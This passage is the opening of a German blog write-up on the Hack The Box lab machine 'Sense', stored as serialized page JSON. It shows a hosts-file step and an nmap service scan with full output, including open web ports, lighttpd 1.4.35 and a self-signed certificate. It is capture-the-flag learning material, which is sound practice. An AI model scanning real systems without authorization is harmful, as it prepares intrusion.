[{"data":1,"prerenderedAt":2848},["ShallowReactive",2],{"post-hack-the-box-sense":3,"post-list":2584},{"id":4,"title":5,"alsoIn":6,"body":7,"category":2569,"date":2570,"description":2571,"draft":2572,"extension":2573,"image":2574,"links":6,"meta":2575,"navigation":1376,"order":6,"path":2576,"readingTime":134,"seo":2577,"series":6,"stem":2578,"strength":2579,"tags":2580,"unlisted":2572,"updated":6,"__hash__":2583},"posts\u002Fposts\u002Fhack-the-box-sense.md","Hack The Box: Sense",null,{"type":8,"value":9,"toc":2567},"minimark",[10,14,21,24,56,61,1625,1628,1633,1636,1641,1644,1649,2331,2334,2337,2340,2345,2348,2353,2356,2361,2364,2372,2375,2380,2383,2388,2391,2404,2407,2426,2431,2434,2439,2442,2447,2523,2526,2531,2534,2539,2542,2547,2550,2555,2558,2563],[11,12,13],"p",{},"Zu Beginn erstelle ich mir einen Eintrag in der Hosts-Datei, damit ich mir nicht die IP-Adresse merken muss.",[11,15,16],{},[17,18],"img",{"alt":19,"src":20},"","\u002Fimages\u002Fposts\u002Fhack-the-box-sense\u002Fattachments\u002Fimage-20240628235329939.webp",[11,22,23],{},"Danach führe ich einen NMAP-Scan durch.",[25,26,30],"pre",{"className":27,"code":28,"language":29,"meta":19,"style":19},"language-bash shiki shiki-themes gruvbox-dark-medium","nmap sense.htb -vv -sV -sC\n","bash",[31,32,33],"code",{"__ignoreMap":19},[34,35,38,42,46,50,53],"span",{"class":36,"line":37},"line",1,[34,39,41],{"class":40},"s59W0","nmap",[34,43,45],{"class":44},"sTqo2"," sense.htb",[34,47,49],{"class":48},"ssIPD"," -vv",[34,51,52],{"class":48}," -sV",[34,54,55],{"class":48}," -sC\n",[11,57,58],{},[17,59],{"alt":19,"src":60},"\u002Fimages\u002Fposts\u002Fhack-the-box-sense\u002Fattachments\u002Fimage-20240628235700816.webp",[25,62,64],{"className":27,"code":63,"language":29,"meta":19,"style":19},"┌─[nobrac@htb-xet9c9n4zo]─[~]\n└──╼ $nmap sense.htb -vv -sV -sC\nStarting Nmap 7.94SVN ( https:\u002F\u002Fnmap.org ) at 2024-06-28 11:27 CDT\nNSE: Loaded 156 scripts for scanning.\nNSE: Script Pre-scanning.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 11:27\nCompleted NSE at 11:27, 0.00s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 11:27\nCompleted NSE at 11:27, 0.00s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 11:27\nCompleted NSE at 11:27, 0.00s elapsed\nInitiating Ping Scan at 11:27\nScanning sense.htb (10.129.224.195) [4 ports]\nCompleted Ping Scan at 11:27, 0.03s elapsed (1 total hosts)\nInitiating SYN Stealth Scan at 11:27\nScanning sense.htb (10.129.224.195) [1000 ports]\nDiscovered open port 443\u002Ftcp on 10.129.224.195\nDiscovered open port 80\u002Ftcp on 10.129.224.195\nCompleted SYN Stealth Scan at 11:27, 3.98s elapsed (1000 total ports)\nInitiating Service scan at 11:27\nScanning 2 services on sense.htb (10.129.224.195)\nCompleted Service scan at 11:27, 6.05s elapsed (2 services on 1 host)\nNSE: Script scanning 10.129.224.195.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 11:27\nCompleted NSE at 11:28, 5.04s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 11:28\nCompleted NSE at 11:28, 0.06s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 11:28\nCompleted NSE at 11:28, 0.00s elapsed\nNmap scan report for sense.htb (10.129.224.195)\nHost is up, received echo-reply ttl 63 (0.0077s latency).\nScanned at 2024-06-28 11:27:47 CDT for 15s\nNot shown: 998 filtered tcp ports (no-response)\nPORT    STATE SERVICE    REASON         VERSION\n80\u002Ftcp  open  http       syn-ack ttl 63 lighttpd 1.4.35\n|_http-server-header: lighttpd\u002F1.4.35\n| http-methods: \n|_  Supported Methods: GET HEAD POST OPTIONS\n|_http-title: Did not follow redirect to https:\u002F\u002Fsense.htb\u002F\n443\u002Ftcp open  ssl\u002Fhttps? syn-ack ttl 63\n|_ssl-date: TLS randomness does not represent time\n| ssl-cert: Subject: commonName=Common Name (eg, YOUR name)\u002ForganizationName=CompanyName\u002FstateOrProvinceName=Somewhere\u002FcountryName=US\u002FemailAddress=Email Address\u002FlocalityName=Somecity\u002ForganizationalUnitName=Organizational Unit Name (eg, section)\n| Issuer: commonName=Common Name (eg, YOUR name)\u002ForganizationName=CompanyName\u002FstateOrProvinceName=Somewhere\u002FcountryName=US\u002FemailAddress=Email Address\u002FlocalityName=Somecity\u002ForganizationalUnitName=Organizational Unit Name (eg, section)\n| Public Key type: rsa\n| Public Key bits: 1024\n| Signature Algorithm: sha256WithRSAEncryption\n| Not valid before: 2017-10-14T19:21:35\n| Not valid after:  2023-04-06T19:21:35\n| MD5:   65f8:b00f:57d2:3468:2c52:0f44:8110:c622\n| SHA-1: 4f7c:9a75:cb7f:70d3:8087:08cb:8c27:20dc:05f1:bb02\n| -----BEGIN CERTIFICATE-----\n| MIIEKDCCA5GgAwIBAgIJALChaIpiwz41MA0GCSqGSIb3DQEBCwUAMIG\u002FMQswCQYD\n| VQQGEwJVUzESMBAGA1UECBMJU29tZXdoZXJlMREwDwYDVQQHEwhTb21lY2l0eTEU\n| MBIGA1UEChMLQ29tcGFueU5hbWUxLzAtBgNVBAsTJk9yZ2FuaXphdGlvbmFsIFVu\n| aXQgTmFtZSAoZWcsIHNlY3Rpb24pMSQwIgYDVQQDExtDb21tb24gTmFtZSAoZWcs\n| IFlPVVIgbmFtZSkxHDAaBgkqhkiG9w0BCQEWDUVtYWlsIEFkZHJlc3MwHhcNMTcx\n| MDE0MTkyMTM1WhcNMjMwNDA2MTkyMTM1WjCBvzELMAkGA1UEBhMCVVMxEjAQBgNV\n| BAgTCVNvbWV3aGVyZTERMA8GA1UEBxMIU29tZWNpdHkxFDASBgNVBAoTC0NvbXBh\n| bnlOYW1lMS8wLQYDVQQLEyZPcmdhbml6YXRpb25hbCBVbml0IE5hbWUgKGVnLCBz\n| ZWN0aW9uKTEkMCIGA1UEAxMbQ29tbW9uIE5hbWUgKGVnLCBZT1VSIG5hbWUpMRww\n| GgYJKoZIhvcNAQkBFg1FbWFpbCBBZGRyZXNzMIGfMA0GCSqGSIb3DQEBAQUAA4GN\n| ADCBiQKBgQC\u002FsWU6By08lGbvttAfx47SWksgA7FavNrEoW9IRp0W\u002FRF9Fp5BQesL\n| L3FMJ0MHyGcfRhnL5VwDCL0E+1Y05az8PY8kUmjvxSvxQCLn6Mh3nTZkiAJ8vpB0\n| WAnjltrTCEsv7Dnz2OofkpqaUnoNGfO3uKWPvRXl9OlSe\u002FBcDStffQIDAQABo4IB\n| KDCCASQwHQYDVR0OBBYEFDK5DS\u002FhTsi9SHxT749Od\u002Fp3Lq05MIH0BgNVHSMEgeww\n| gemAFDK5DS\u002FhTsi9SHxT749Od\u002Fp3Lq05oYHFpIHCMIG\u002FMQswCQYDVQQGEwJVUzES\n| MBAGA1UECBMJU29tZXdoZXJlMREwDwYDVQQHEwhTb21lY2l0eTEUMBIGA1UEChML\n| Q29tcGFueU5hbWUxLzAtBgNVBAsTJk9yZ2FuaXphdGlvbmFsIFVuaXQgTmFtZSAo\n| ZWcsIHNlY3Rpb24pMSQwIgYDVQQDExtDb21tb24gTmFtZSAoZWcsIFlPVVIgbmFt\n| ZSkxHDAaBgkqhkiG9w0BCQEWDUVtYWlsIEFkZHJlc3OCCQCwoWiKYsM+NTAMBgNV\n| HRMEBTADAQH\u002FMA0GCSqGSIb3DQEBCwUAA4GBAHNn+1AX2qwJ9zhgN3I4ES1Vq84l\n| n6p7OoBefxcf31Pn3VDnbvJJFFcZdplDxbIWh5lyjpTHRJQyHECtEMW677rFXJAl\n| \u002FcEYWHDndn9Gwaxn7JyffK5lUAPMPEDtudQb3cxrevP\u002FiFZwefi2d5p3jFkDCcGI\n| +Y0tZRIRzHWgQHa\u002F\n|_-----END CERTIFICATE-----\n\nNSE: Script Post-scanning.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 11:28\nCompleted NSE at 11:28, 0.00s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 11:28\nCompleted NSE at 11:28, 0.00s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 11:28\nCompleted NSE at 11:28, 0.00s elapsed\nRead data files from: \u002Fusr\u002Fbin\u002F..\u002Fshare\u002Fnmap\nService detection performed. Please report any incorrect results at https:\u002F\u002Fnmap.org\u002Fsubmit\u002F .\nNmap done: 1 IP address (1 host up) scanned in 15.57 seconds\n           Raw packets sent: 2005 (88.196KB) | Rcvd: 12 (864B)\n",[31,65,66,71,89,111,132,143,166,181,200,218,229,244,262,273,288,303,327,358,375,393,414,430,459,474,491,524,537,554,565,582,599,611,627,644,655,670,687,720,742,765,783,808,821,832,858,884,903,928,1008,1066,1083,1098,1112,1129,1144,1155,1166,1177,1185,1193,1201,1209,1217,1225,1233,1241,1249,1257,1265,1273,1281,1289,1297,1305,1313,1321,1329,1337,1345,1353,1361,1371,1378,1388,1405,1416,1431,1448,1459,1474,1491,1502,1517,1535,1569,1596],{"__ignoreMap":19},[34,67,68],{"class":36,"line":37},[34,69,70],{"class":40},"┌─[nobrac@htb-xet9c9n4zo]─[~]\n",[34,72,74,77,81,83,85,87],{"class":36,"line":73},2,[34,75,76],{"class":40},"└──╼",[34,78,80],{"class":79},"sMWUE"," $nmap",[34,82,45],{"class":44},[34,84,49],{"class":48},[34,86,52],{"class":48},[34,88,55],{"class":48},[34,90,92,95,98,101,105,108],{"class":36,"line":91},3,[34,93,94],{"class":40},"Starting",[34,96,97],{"class":44}," Nmap",[34,99,100],{"class":44}," 7.94SVN",[34,102,104],{"class":103},"sM0OT"," ( ",[34,106,107],{"class":44},"https:\u002F\u002Fnmap.org",[34,109,110],{"class":103}," ) at 2024-06-28 11:27 CDT\n",[34,112,114,117,120,123,126,129],{"class":36,"line":113},4,[34,115,116],{"class":40},"NSE:",[34,118,119],{"class":44}," Loaded",[34,121,122],{"class":48}," 156",[34,124,125],{"class":44}," scripts",[34,127,128],{"class":44}," for",[34,130,131],{"class":44}," scanning.\n",[34,133,135,137,140],{"class":36,"line":134},5,[34,136,116],{"class":40},[34,138,139],{"class":44}," Script",[34,141,142],{"class":44}," Pre-scanning.\n",[34,144,146,148,151,154,157,160,163],{"class":36,"line":145},6,[34,147,116],{"class":40},[34,149,150],{"class":44}," Starting",[34,152,153],{"class":44}," runlevel",[34,155,156],{"class":48}," 1",[34,158,159],{"class":103}," (of ",[34,161,162],{"class":48},"3",[34,164,165],{"class":103},") scan.\n",[34,167,169,172,175,178],{"class":36,"line":168},7,[34,170,171],{"class":40},"Initiating",[34,173,174],{"class":44}," NSE",[34,176,177],{"class":44}," at",[34,179,180],{"class":44}," 11:27\n",[34,182,184,187,189,191,194,197],{"class":36,"line":183},8,[34,185,186],{"class":40},"Completed",[34,188,174],{"class":44},[34,190,177],{"class":44},[34,192,193],{"class":44}," 11:27,",[34,195,196],{"class":44}," 0.00s",[34,198,199],{"class":44}," elapsed\n",[34,201,203,205,207,209,212,214,216],{"class":36,"line":202},9,[34,204,116],{"class":40},[34,206,150],{"class":44},[34,208,153],{"class":44},[34,210,211],{"class":48}," 2",[34,213,159],{"class":103},[34,215,162],{"class":48},[34,217,165],{"class":103},[34,219,221,223,225,227],{"class":36,"line":220},10,[34,222,171],{"class":40},[34,224,174],{"class":44},[34,226,177],{"class":44},[34,228,180],{"class":44},[34,230,232,234,236,238,240,242],{"class":36,"line":231},11,[34,233,186],{"class":40},[34,235,174],{"class":44},[34,237,177],{"class":44},[34,239,193],{"class":44},[34,241,196],{"class":44},[34,243,199],{"class":44},[34,245,247,249,251,253,256,258,260],{"class":36,"line":246},12,[34,248,116],{"class":40},[34,250,150],{"class":44},[34,252,153],{"class":44},[34,254,255],{"class":48}," 3",[34,257,159],{"class":103},[34,259,162],{"class":48},[34,261,165],{"class":103},[34,263,265,267,269,271],{"class":36,"line":264},13,[34,266,171],{"class":40},[34,268,174],{"class":44},[34,270,177],{"class":44},[34,272,180],{"class":44},[34,274,276,278,280,282,284,286],{"class":36,"line":275},14,[34,277,186],{"class":40},[34,279,174],{"class":44},[34,281,177],{"class":44},[34,283,193],{"class":44},[34,285,196],{"class":44},[34,287,199],{"class":44},[34,289,291,293,296,299,301],{"class":36,"line":290},15,[34,292,171],{"class":40},[34,294,295],{"class":44}," Ping",[34,297,298],{"class":44}," Scan",[34,300,177],{"class":44},[34,302,180],{"class":44},[34,304,306,309,311,314,318,321,324],{"class":36,"line":305},16,[34,307,308],{"class":40},"Scanning",[34,310,45],{"class":44},[34,312,313],{"class":103}," (10.129.224.195) ",[34,315,317],{"class":316},"sG605","[",[34,319,320],{"class":48},"4",[34,322,323],{"class":103}," ports",[34,325,326],{"class":316},"]\n",[34,328,330,332,334,336,338,340,343,346,349,352,355],{"class":36,"line":329},17,[34,331,186],{"class":40},[34,333,295],{"class":44},[34,335,298],{"class":44},[34,337,177],{"class":44},[34,339,193],{"class":44},[34,341,342],{"class":44}," 0.03s",[34,344,345],{"class":44}," elapsed",[34,347,348],{"class":103}," (1 ",[34,350,351],{"class":44},"total",[34,353,354],{"class":44}," hosts",[34,356,357],{"class":103},")\n",[34,359,361,363,366,369,371,373],{"class":36,"line":360},18,[34,362,171],{"class":40},[34,364,365],{"class":44}," SYN",[34,367,368],{"class":44}," Stealth",[34,370,298],{"class":44},[34,372,177],{"class":44},[34,374,180],{"class":44},[34,376,378,380,382,384,386,389,391],{"class":36,"line":377},19,[34,379,308],{"class":40},[34,381,45],{"class":44},[34,383,313],{"class":103},[34,385,317],{"class":316},[34,387,388],{"class":48},"1000",[34,390,323],{"class":103},[34,392,326],{"class":316},[34,394,396,399,402,405,408,411],{"class":36,"line":395},20,[34,397,398],{"class":40},"Discovered",[34,400,401],{"class":44}," open",[34,403,404],{"class":44}," port",[34,406,407],{"class":44}," 443\u002Ftcp",[34,409,410],{"class":44}," on",[34,412,413],{"class":48}," 10.129.224.195\n",[34,415,417,419,421,423,426,428],{"class":36,"line":416},21,[34,418,398],{"class":40},[34,420,401],{"class":44},[34,422,404],{"class":44},[34,424,425],{"class":44}," 80\u002Ftcp",[34,427,410],{"class":44},[34,429,413],{"class":48},[34,431,433,435,437,439,441,443,445,448,450,453,455,457],{"class":36,"line":432},22,[34,434,186],{"class":40},[34,436,365],{"class":44},[34,438,368],{"class":44},[34,440,298],{"class":44},[34,442,177],{"class":44},[34,444,193],{"class":44},[34,446,447],{"class":44}," 3.98s",[34,449,345],{"class":44},[34,451,452],{"class":103}," (1000 ",[34,454,351],{"class":44},[34,456,323],{"class":44},[34,458,357],{"class":103},[34,460,462,464,467,470,472],{"class":36,"line":461},23,[34,463,171],{"class":40},[34,465,466],{"class":44}," Service",[34,468,469],{"class":44}," scan",[34,471,177],{"class":44},[34,473,180],{"class":44},[34,475,477,479,481,484,486,488],{"class":36,"line":476},24,[34,478,308],{"class":40},[34,480,211],{"class":48},[34,482,483],{"class":44}," services",[34,485,410],{"class":44},[34,487,45],{"class":44},[34,489,490],{"class":103}," (10.129.224.195)\n",[34,492,494,496,498,500,502,504,507,509,512,515,517,519,522],{"class":36,"line":493},25,[34,495,186],{"class":40},[34,497,466],{"class":44},[34,499,469],{"class":44},[34,501,177],{"class":44},[34,503,193],{"class":44},[34,505,506],{"class":44}," 6.05s",[34,508,345],{"class":44},[34,510,511],{"class":103}," (2 ",[34,513,514],{"class":44},"services",[34,516,410],{"class":44},[34,518,156],{"class":48},[34,520,521],{"class":44}," host",[34,523,357],{"class":103},[34,525,527,529,531,534],{"class":36,"line":526},26,[34,528,116],{"class":40},[34,530,139],{"class":44},[34,532,533],{"class":44}," scanning",[34,535,536],{"class":44}," 10.129.224.195.\n",[34,538,540,542,544,546,548,550,552],{"class":36,"line":539},27,[34,541,116],{"class":40},[34,543,150],{"class":44},[34,545,153],{"class":44},[34,547,156],{"class":48},[34,549,159],{"class":103},[34,551,162],{"class":48},[34,553,165],{"class":103},[34,555,557,559,561,563],{"class":36,"line":556},28,[34,558,171],{"class":40},[34,560,174],{"class":44},[34,562,177],{"class":44},[34,564,180],{"class":44},[34,566,568,570,572,574,577,580],{"class":36,"line":567},29,[34,569,186],{"class":40},[34,571,174],{"class":44},[34,573,177],{"class":44},[34,575,576],{"class":44}," 11:28,",[34,578,579],{"class":44}," 5.04s",[34,581,199],{"class":44},[34,583,585,587,589,591,593,595,597],{"class":36,"line":584},30,[34,586,116],{"class":40},[34,588,150],{"class":44},[34,590,153],{"class":44},[34,592,211],{"class":48},[34,594,159],{"class":103},[34,596,162],{"class":48},[34,598,165],{"class":103},[34,600,602,604,606,608],{"class":36,"line":601},31,[34,603,171],{"class":40},[34,605,174],{"class":44},[34,607,177],{"class":44},[34,609,610],{"class":44}," 11:28\n",[34,612,614,616,618,620,622,625],{"class":36,"line":613},32,[34,615,186],{"class":40},[34,617,174],{"class":44},[34,619,177],{"class":44},[34,621,576],{"class":44},[34,623,624],{"class":44}," 0.06s",[34,626,199],{"class":44},[34,628,630,632,634,636,638,640,642],{"class":36,"line":629},33,[34,631,116],{"class":40},[34,633,150],{"class":44},[34,635,153],{"class":44},[34,637,255],{"class":48},[34,639,159],{"class":103},[34,641,162],{"class":48},[34,643,165],{"class":103},[34,645,647,649,651,653],{"class":36,"line":646},34,[34,648,171],{"class":40},[34,650,174],{"class":44},[34,652,177],{"class":44},[34,654,610],{"class":44},[34,656,658,660,662,664,666,668],{"class":36,"line":657},35,[34,659,186],{"class":40},[34,661,174],{"class":44},[34,663,177],{"class":44},[34,665,576],{"class":44},[34,667,196],{"class":44},[34,669,199],{"class":44},[34,671,673,676,678,681,683,685],{"class":36,"line":672},36,[34,674,675],{"class":40},"Nmap",[34,677,469],{"class":44},[34,679,680],{"class":44}," report",[34,682,128],{"class":44},[34,684,45],{"class":44},[34,686,490],{"class":103},[34,688,690,693,696,699,702,705,708,711,714,717],{"class":36,"line":689},37,[34,691,692],{"class":40},"Host",[34,694,695],{"class":44}," is",[34,697,698],{"class":44}," up,",[34,700,701],{"class":44}," received",[34,703,704],{"class":44}," echo-reply",[34,706,707],{"class":44}," ttl",[34,709,710],{"class":48}," 63",[34,712,713],{"class":103}," (0.0077s ",[34,715,716],{"class":44},"latency",[34,718,719],{"class":103},").\n",[34,721,723,726,728,731,734,737,739],{"class":36,"line":722},38,[34,724,725],{"class":40},"Scanned",[34,727,177],{"class":44},[34,729,730],{"class":44}," 2024-06-28",[34,732,733],{"class":44}," 11:27:47",[34,735,736],{"class":44}," CDT",[34,738,128],{"class":44},[34,740,741],{"class":44}," 15s\n",[34,743,745,748,751,754,757,760,762],{"class":36,"line":744},39,[34,746,747],{"class":40},"Not",[34,749,750],{"class":44}," shown:",[34,752,753],{"class":48}," 998",[34,755,756],{"class":44}," filtered",[34,758,759],{"class":44}," tcp",[34,761,323],{"class":44},[34,763,764],{"class":103}," (no-response)\n",[34,766,768,771,774,777,780],{"class":36,"line":767},40,[34,769,770],{"class":40},"PORT",[34,772,773],{"class":44},"    STATE",[34,775,776],{"class":44}," SERVICE",[34,778,779],{"class":44},"    REASON",[34,781,782],{"class":44},"         VERSION\n",[34,784,786,789,792,795,798,800,802,805],{"class":36,"line":785},41,[34,787,788],{"class":40},"80\u002Ftcp",[34,790,791],{"class":44},"  open",[34,793,794],{"class":44},"  http",[34,796,797],{"class":44},"       syn-ack",[34,799,707],{"class":44},[34,801,710],{"class":48},[34,803,804],{"class":44}," lighttpd",[34,806,807],{"class":48}," 1.4.35\n",[34,809,811,815,818],{"class":36,"line":810},42,[34,812,814],{"class":813},"sM2RB","|",[34,816,817],{"class":40},"_http-server-header:",[34,819,820],{"class":44}," lighttpd\u002F1.4.35\n",[34,822,824,826,829],{"class":36,"line":823},43,[34,825,814],{"class":813},[34,827,828],{"class":40}," http-methods:",[34,830,831],{"class":103}," \n",[34,833,835,837,840,843,846,849,852,855],{"class":36,"line":834},44,[34,836,814],{"class":813},[34,838,839],{"class":40},"_",[34,841,842],{"class":44},"  Supported",[34,844,845],{"class":44}," Methods:",[34,847,848],{"class":44}," GET",[34,850,851],{"class":44}," HEAD",[34,853,854],{"class":44}," POST",[34,856,857],{"class":44}," OPTIONS\n",[34,859,861,863,866,869,872,875,878,881],{"class":36,"line":860},45,[34,862,814],{"class":813},[34,864,865],{"class":40},"_http-title:",[34,867,868],{"class":44}," Did",[34,870,871],{"class":44}," not",[34,873,874],{"class":44}," follow",[34,876,877],{"class":44}," redirect",[34,879,880],{"class":44}," to",[34,882,883],{"class":44}," https:\u002F\u002Fsense.htb\u002F\n",[34,885,887,890,892,895,898,900],{"class":36,"line":886},46,[34,888,889],{"class":40},"443\u002Ftcp",[34,891,401],{"class":44},[34,893,894],{"class":44},"  ssl\u002Fhttps?",[34,896,897],{"class":44}," syn-ack",[34,899,707],{"class":44},[34,901,902],{"class":48}," 63\n",[34,904,906,908,911,914,917,920,922,925],{"class":36,"line":905},47,[34,907,814],{"class":813},[34,909,910],{"class":40},"_ssl-date:",[34,912,913],{"class":44}," TLS",[34,915,916],{"class":44}," randomness",[34,918,919],{"class":44}," does",[34,921,871],{"class":44},[34,923,924],{"class":44}," represent",[34,926,927],{"class":44}," time\n",[34,929,931,933,936,939,942,945,948,951,954,957,960,963,966,969,971,974,977,979,982,985,987,990,993,996,999,1001,1003,1006],{"class":36,"line":930},48,[34,932,814],{"class":813},[34,934,935],{"class":40}," ssl-cert:",[34,937,938],{"class":44}," Subject:",[34,940,941],{"class":44}," commonName=Common",[34,943,944],{"class":44}," Name",[34,946,947],{"class":103}," (eg, ",[34,949,950],{"class":44},"YOUR",[34,952,953],{"class":44}," name",[34,955,956],{"class":103},")\u002F",[34,958,959],{"class":79},"organizationName",[34,961,962],{"class":813},"=",[34,964,965],{"class":44},"CompanyName\u002F",[34,967,968],{"class":79},"stateOrProvinceName",[34,970,962],{"class":813},[34,972,973],{"class":44},"Somewhere\u002F",[34,975,976],{"class":79},"countryName",[34,978,962],{"class":813},[34,980,981],{"class":44},"US\u002F",[34,983,984],{"class":79},"emailAddress",[34,986,962],{"class":813},[34,988,989],{"class":44},"Email",[34,991,992],{"class":40}," Address\u002FlocalityName",[34,994,995],{"class":44},"=Somecity\u002ForganizationalUnitName=Organizational",[34,997,998],{"class":44}," Unit",[34,1000,944],{"class":44},[34,1002,947],{"class":103},[34,1004,1005],{"class":44},"section",[34,1007,357],{"class":103},[34,1009,1011,1013,1016,1018,1020,1022,1024,1026,1028,1030,1032,1034,1036,1038,1040,1042,1044,1046,1048,1050,1052,1054,1056,1058,1060,1062,1064],{"class":36,"line":1010},49,[34,1012,814],{"class":813},[34,1014,1015],{"class":40}," Issuer:",[34,1017,941],{"class":44},[34,1019,944],{"class":44},[34,1021,947],{"class":103},[34,1023,950],{"class":44},[34,1025,953],{"class":44},[34,1027,956],{"class":103},[34,1029,959],{"class":79},[34,1031,962],{"class":813},[34,1033,965],{"class":44},[34,1035,968],{"class":79},[34,1037,962],{"class":813},[34,1039,973],{"class":44},[34,1041,976],{"class":79},[34,1043,962],{"class":813},[34,1045,981],{"class":44},[34,1047,984],{"class":79},[34,1049,962],{"class":813},[34,1051,989],{"class":44},[34,1053,992],{"class":40},[34,1055,995],{"class":44},[34,1057,998],{"class":44},[34,1059,944],{"class":44},[34,1061,947],{"class":103},[34,1063,1005],{"class":44},[34,1065,357],{"class":103},[34,1067,1069,1071,1074,1077,1080],{"class":36,"line":1068},50,[34,1070,814],{"class":813},[34,1072,1073],{"class":40}," Public",[34,1075,1076],{"class":44}," Key",[34,1078,1079],{"class":44}," type:",[34,1081,1082],{"class":44}," rsa\n",[34,1084,1086,1088,1090,1092,1095],{"class":36,"line":1085},51,[34,1087,814],{"class":813},[34,1089,1073],{"class":40},[34,1091,1076],{"class":44},[34,1093,1094],{"class":44}," bits:",[34,1096,1097],{"class":48}," 1024\n",[34,1099,1101,1103,1106,1109],{"class":36,"line":1100},52,[34,1102,814],{"class":813},[34,1104,1105],{"class":40}," Signature",[34,1107,1108],{"class":44}," Algorithm:",[34,1110,1111],{"class":44}," sha256WithRSAEncryption\n",[34,1113,1115,1117,1120,1123,1126],{"class":36,"line":1114},53,[34,1116,814],{"class":813},[34,1118,1119],{"class":40}," Not",[34,1121,1122],{"class":44}," valid",[34,1124,1125],{"class":44}," before:",[34,1127,1128],{"class":44}," 2017-10-14T19:21:35\n",[34,1130,1132,1134,1136,1138,1141],{"class":36,"line":1131},54,[34,1133,814],{"class":813},[34,1135,1119],{"class":40},[34,1137,1122],{"class":44},[34,1139,1140],{"class":44}," after:",[34,1142,1143],{"class":44},"  2023-04-06T19:21:35\n",[34,1145,1147,1149,1152],{"class":36,"line":1146},55,[34,1148,814],{"class":813},[34,1150,1151],{"class":40}," MD5:",[34,1153,1154],{"class":44},"   65f8:b00f:57d2:3468:2c52:0f44:8110:c622\n",[34,1156,1158,1160,1163],{"class":36,"line":1157},56,[34,1159,814],{"class":813},[34,1161,1162],{"class":40}," SHA-1:",[34,1164,1165],{"class":44}," 4f7c:9a75:cb7f:70d3:8087:08cb:8c27:20dc:05f1:bb02\n",[34,1167,1169,1171,1174],{"class":36,"line":1168},57,[34,1170,814],{"class":813},[34,1172,1173],{"class":40}," -----BEGIN",[34,1175,1176],{"class":44}," CERTIFICATE-----\n",[34,1178,1180,1182],{"class":36,"line":1179},58,[34,1181,814],{"class":813},[34,1183,1184],{"class":40}," MIIEKDCCA5GgAwIBAgIJALChaIpiwz41MA0GCSqGSIb3DQEBCwUAMIG\u002FMQswCQYD\n",[34,1186,1188,1190],{"class":36,"line":1187},59,[34,1189,814],{"class":813},[34,1191,1192],{"class":40}," VQQGEwJVUzESMBAGA1UECBMJU29tZXdoZXJlMREwDwYDVQQHEwhTb21lY2l0eTEU\n",[34,1194,1196,1198],{"class":36,"line":1195},60,[34,1197,814],{"class":813},[34,1199,1200],{"class":40}," MBIGA1UEChMLQ29tcGFueU5hbWUxLzAtBgNVBAsTJk9yZ2FuaXphdGlvbmFsIFVu\n",[34,1202,1204,1206],{"class":36,"line":1203},61,[34,1205,814],{"class":813},[34,1207,1208],{"class":40}," aXQgTmFtZSAoZWcsIHNlY3Rpb24pMSQwIgYDVQQDExtDb21tb24gTmFtZSAoZWcs\n",[34,1210,1212,1214],{"class":36,"line":1211},62,[34,1213,814],{"class":813},[34,1215,1216],{"class":40}," IFlPVVIgbmFtZSkxHDAaBgkqhkiG9w0BCQEWDUVtYWlsIEFkZHJlc3MwHhcNMTcx\n",[34,1218,1220,1222],{"class":36,"line":1219},63,[34,1221,814],{"class":813},[34,1223,1224],{"class":40}," MDE0MTkyMTM1WhcNMjMwNDA2MTkyMTM1WjCBvzELMAkGA1UEBhMCVVMxEjAQBgNV\n",[34,1226,1228,1230],{"class":36,"line":1227},64,[34,1229,814],{"class":813},[34,1231,1232],{"class":40}," BAgTCVNvbWV3aGVyZTERMA8GA1UEBxMIU29tZWNpdHkxFDASBgNVBAoTC0NvbXBh\n",[34,1234,1236,1238],{"class":36,"line":1235},65,[34,1237,814],{"class":813},[34,1239,1240],{"class":40}," bnlOYW1lMS8wLQYDVQQLEyZPcmdhbml6YXRpb25hbCBVbml0IE5hbWUgKGVnLCBz\n",[34,1242,1244,1246],{"class":36,"line":1243},66,[34,1245,814],{"class":813},[34,1247,1248],{"class":40}," ZWN0aW9uKTEkMCIGA1UEAxMbQ29tbW9uIE5hbWUgKGVnLCBZT1VSIG5hbWUpMRww\n",[34,1250,1252,1254],{"class":36,"line":1251},67,[34,1253,814],{"class":813},[34,1255,1256],{"class":40}," GgYJKoZIhvcNAQkBFg1FbWFpbCBBZGRyZXNzMIGfMA0GCSqGSIb3DQEBAQUAA4GN\n",[34,1258,1260,1262],{"class":36,"line":1259},68,[34,1261,814],{"class":813},[34,1263,1264],{"class":40}," ADCBiQKBgQC\u002FsWU6By08lGbvttAfx47SWksgA7FavNrEoW9IRp0W\u002FRF9Fp5BQesL\n",[34,1266,1268,1270],{"class":36,"line":1267},69,[34,1269,814],{"class":813},[34,1271,1272],{"class":40}," L3FMJ0MHyGcfRhnL5VwDCL0E+1Y05az8PY8kUmjvxSvxQCLn6Mh3nTZkiAJ8vpB0\n",[34,1274,1276,1278],{"class":36,"line":1275},70,[34,1277,814],{"class":813},[34,1279,1280],{"class":40}," WAnjltrTCEsv7Dnz2OofkpqaUnoNGfO3uKWPvRXl9OlSe\u002FBcDStffQIDAQABo4IB\n",[34,1282,1284,1286],{"class":36,"line":1283},71,[34,1285,814],{"class":813},[34,1287,1288],{"class":40}," KDCCASQwHQYDVR0OBBYEFDK5DS\u002FhTsi9SHxT749Od\u002Fp3Lq05MIH0BgNVHSMEgeww\n",[34,1290,1292,1294],{"class":36,"line":1291},72,[34,1293,814],{"class":813},[34,1295,1296],{"class":40}," gemAFDK5DS\u002FhTsi9SHxT749Od\u002Fp3Lq05oYHFpIHCMIG\u002FMQswCQYDVQQGEwJVUzES\n",[34,1298,1300,1302],{"class":36,"line":1299},73,[34,1301,814],{"class":813},[34,1303,1304],{"class":40}," MBAGA1UECBMJU29tZXdoZXJlMREwDwYDVQQHEwhTb21lY2l0eTEUMBIGA1UEChML\n",[34,1306,1308,1310],{"class":36,"line":1307},74,[34,1309,814],{"class":813},[34,1311,1312],{"class":40}," 